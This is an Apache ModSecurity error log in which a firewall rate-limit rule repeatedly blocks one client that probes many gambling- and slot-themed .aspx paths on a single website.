[Thu May 07 17:27:37.364678 2026] [:error] [pid 15631:tid 15702] [client 54.37.252.130:56726] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "afxbCXvP1GkPUuuLfqUiqAAAAM8"]
[Thu May 07 17:27:39.792624 2026] [:error] [pid 15629:tid 15654] [client 54.37.252.130:35970] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "afxbC_rIJCALdUrO43lmAwAAABU"]
[Thu May 07 17:27:42.188813 2026] [:error] [pid 15715:tid 15738] [client 54.37.252.130:35980] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "afxbDiY4dZsLOttMkcd8FwAAARI"]
[Thu May 07 17:27:44.566018 2026] [:error] [pid 15629:tid 15648] [client 54.37.252.130:35986] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "afxbEPrIJCALdUrO43lmBQAAAA8"]
[Thu May 07 17:27:46.968942 2026] [:error] [pid 15630:tid 15669] [client 54.37.252.130:35988] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "afxbEnTithRAi4821quf-AAAAIk"]
[Thu May 07 17:27:49.524484 2026] [:error] [pid 15631:tid 15687] [client 54.37.252.130:39640] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "afxbFXvP1GkPUuuLfqUiuwAAAMA"]
[Thu May 07 17:27:51.899159 2026] [:error] [pid 28098:tid 28100] [client 54.37.252.130:39650] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "afxbF8vhwfljlt8trSq1lwAAAEA"]
[Thu May 07 17:28:12.381513 2026] [:error] [pid 15631:tid 15700] [client 54.37.252.130:39654] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "afxbLHvP1GkPUuuLfqUi6AAAAM0"]
[Thu May 07 17:28:14.829204 2026] [:error] [pid 15631:tid 15689] [client 54.37.252.130:57374] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "afxbLnvP1GkPUuuLfqUi8AAAAMI"]
[Thu May 07 17:28:17.351820 2026] [:error] [pid 15715:tid 15734] [client 54.37.252.130:57378] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "afxbMSY4dZsLOttMkcd8JwAAAQ4"]
[Thu May 07 17:28:19.855561 2026] [:error] [pid 15631:tid 15709] [client 54.37.252.130:51318] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "afxbM3vP1GkPUuuLfqUi9wAAANY"]
[Thu May 07 17:28:22.369520 2026] [:error] [pid 28098:tid 28100] [client 54.37.252.130:51332] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "afxbNsvhwfljlt8trSq1rQAAAEA"]
[Thu May 07 17:28:24.727894 2026] [:error] [pid 15631:tid 15703] [client 54.37.252.130:51342] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "afxbOHvP1GkPUuuLfqUi_wAAANA"]
[Thu May 07 17:28:27.225954 2026] [:error] [pid 15630:tid 15664] [client 54.37.252.130:51344] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "afxbO3TithRAi4821qugDwAAAIQ"]
[Thu May 07 17:28:29.741879 2026] [:error] [pid 28098:tid 28123] [client 54.37.252.130:55740] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "afxbPcvhwfljlt8trSq1vAAAAFc"]
[Thu May 07 17:28:32.251839 2026] [:error] [pid 15715:tid 15738] [client 54.37.252.130:55754] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "afxbQCY4dZsLOttMkcd8NAAAARI"]
[Thu May 07 17:28:34.762352 2026] [:error] [pid 15715:tid 15725] [client 54.37.252.130:55756] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "afxbQiY4dZsLOttMkcd8NgAAAQg"]
[Thu May 07 17:28:37.271537 2026] [:error] [pid 15715:tid 15739] [client 54.37.252.130:55770] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "afxbRSY4dZsLOttMkcd8OAAAARM"]
[Thu May 07 17:28:39.753900 2026] [:error] [pid 15629:tid 15635] [client 54.37.252.130:47344] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "afxbR_rIJCALdUrO43lmHAAAAAI"]
[Thu May 07 17:28:42.270753 2026] [:error] [pid 28098:tid 28111] [client 54.37.252.130:47346] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "afxbSsvhwfljlt8trSq1wgAAAEs"]
[Thu May 07 17:28:44.779128 2026] [:error] [pid 15631:tid 15705] [client 54.37.252.130:47350] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "afxbTHvP1GkPUuuLfqUjDAAAANI"]
[Thu May 07 17:28:47.270706 2026] [:error] [pid 28098:tid 28105] [client 54.37.252.130:47352] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "afxbT8vhwfljlt8trSq1xAAAAEU"]
[Thu May 07 17:28:49.776741 2026] [:error] [pid 28098:tid 28114] [client 54.37.252.130:41658] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "afxbUcvhwfljlt8trSq1xwAAAE4"]
[Thu May 07 17:28:52.278050 2026] [:error] [pid 15715:tid 15735] [client 54.37.252.130:41672] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "afxbVCY4dZsLOttMkcd8PQAAAQ8"]
[Thu May 07 17:28:54.771595 2026] [:error] [pid 15629:tid 15652] [client 54.37.252.130:41688] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "afxbVvrIJCALdUrO43lmHwAAABM"]
[Thu May 07 17:28:57.262828 2026] [:error] [pid 28098:tid 28118] [client 54.37.252.130:41690] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "afxbWcvhwfljlt8trSq11gAAAFI"]
[Thu May 07 17:28:59.590168 2026] [:error] [pid 28098:tid 28103] [client 54.37.252.130:49962] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "afxbW8vhwfljlt8trSq12gAAAEM"]
[Thu May 07 17:29:02.072759 2026] [:error] [pid 15631:tid 15699] [client 54.37.252.130:49964] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "afxbXnvP1GkPUuuLfqUjEQAAAMw"]
[Thu May 07 17:29:04.553062 2026] [:error] [pid 15715:tid 15731] [client 54.37.252.130:49972] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "afxbYCY4dZsLOttMkcd8QgAAAQs"]
[Thu May 07 17:29:06.893221 2026] [:error] [pid 15629:tid 15637] [client 54.37.252.130:49976] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "afxbYvrIJCALdUrO43lmIgAAAAQ"]
[Thu May 07 17:29:09.374079 2026] [:error] [pid 15630:tid 15665] [client 54.37.252.130:55132] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "afxbZXTithRAi4821qugFAAAAIU"]
[Thu May 07 17:29:30.449689 2026] [:error] [pid 15715:tid 15725] [client 54.37.252.130:55134] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "afxbeiY4dZsLOttMkcd8XAAAAQg"]
[Thu May 07 17:29:32.871122 2026] [:error] [pid 15630:tid 15672] [client 54.37.252.130:56154] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "afxbfHTithRAi4821qugGAAAAIw"]
[Thu May 07 17:29:35.214482 2026] [:error] [pid 15631:tid 15690] [client 54.37.252.130:56170] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "afxbf3vP1GkPUuuLfqUjIAAAAMM"]
[Thu May 07 17:29:37.674977 2026] [:error] [pid 15630:tid 15664] [client 54.37.252.130:54086] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "afxbgXTithRAi4821qugHwAAAIQ"]
[Thu May 07 17:29:40.152758 2026] [:error] [pid 15631:tid 15708] [client 54.37.252.130:54100] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "afxbhHvP1GkPUuuLfqUjJAAAANU"]
[Thu May 07 17:29:42.624116 2026] [:error] [pid 15631:tid 15701] [client 54.37.252.130:54110] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "afxbhnvP1GkPUuuLfqUjKwAAAM4"]
[Thu May 07 17:29:45.101099 2026] [:error] [pid 15630:tid 15670] [client 54.37.252.130:54116] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "afxbiXTithRAi4821qugJAAAAIo"]
[Thu May 07 17:29:47.425742 2026] [:error] [pid 15715:tid 15723] [client 54.37.252.130:54122] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "afxbiyY4dZsLOttMkcd8YgAAAQY"]
[Thu May 07 17:29:49.903189 2026] [:error] [pid 28098:tid 28103] [client 54.37.252.130:49370] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "afxbjcvhwfljlt8trSq14gAAAEM"]
[Thu May 07 17:29:52.212414 2026] [:error] [pid 28098:tid 28112] [client 54.37.252.130:49378] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "afxbkMvhwfljlt8trSq15AAAAEw"]
[Thu May 07 17:29:54.513567 2026] [:error] [pid 28098:tid 28106] [client 54.37.252.130:49380] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "afxbksvhwfljlt8trSq16AAAAEY"]
[Thu May 07 17:29:56.830037 2026] [:error] [pid 28098:tid 28114] [client 54.37.252.130:49394] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "afxblMvhwfljlt8trSq17AAAAE4"]
[Thu May 07 17:29:59.456131 2026] [:error] [pid 15630:tid 15673] [client 54.37.252.130:34386] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "afxbl3TithRAi4821qugJwAAAI0"]
[Thu May 07 17:30:01.914941 2026] [:error] [pid 28098:tid 28109] [client 54.37.252.130:34390] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "afxbmcvhwfljlt8trSq18QAAAEk"]
[Thu May 07 17:30:04.221680 2026] [:error] [pid 28098:tid 28111] [client 54.37.252.130:34394] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "afxbnMvhwfljlt8trSq19AAAAEs"]
[Thu May 07 17:30:06.517125 2026] [:error] [pid 28098:tid 28107] [client 54.37.252.130:34408] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "afxbnsvhwfljlt8trSq19QAAAEc"]
[Thu May 07 17:30:08.828118 2026] [:error] [pid 15631:tid 15702] [client 54.37.252.130:42158] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "afxboHvP1GkPUuuLfqUjLwAAAM8"]
[Thu May 07 17:30:11.143912 2026] [:error] [pid 15631:tid 15704] [client 54.37.252.130:42172] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "afxbo3vP1GkPUuuLfqUjMwAAANE"]
[Thu May 07 17:30:13.600693 2026] [:error] [pid 28098:tid 28116] [client 54.37.252.130:42186] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "afxbpcvhwfljlt8trSq19wAAAFA"]
[Thu May 07 17:30:16.067136 2026] [:error] [pid 15715:tid 15717] [client 54.37.252.130:42202] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "afxbqCY4dZsLOttMkcd8ZgAAAQA"]
[Thu May 07 17:30:18.532558 2026] [:error] [pid 28098:tid 28121] [client 54.37.252.130:33528] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "afxbqsvhwfljlt8trSq1-wAAAFU"]
[Thu May 07 17:30:20.832310 2026] [:error] [pid 15715:tid 15719] [client 54.37.252.130:33534] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "afxbrCY4dZsLOttMkcd8agAAAQI"]
[Thu May 07 17:30:23.127378 2026] [:error] [pid 15715:tid 15736] [client 54.37.252.130:33540] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "afxbryY4dZsLOttMkcd8bQAAARA"]
[Thu May 07 17:30:25.434163 2026] [:error] [pid 15630:tid 15663] [client 54.37.252.130:33550] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "afxbsXTithRAi4821qugKQAAAIM"]
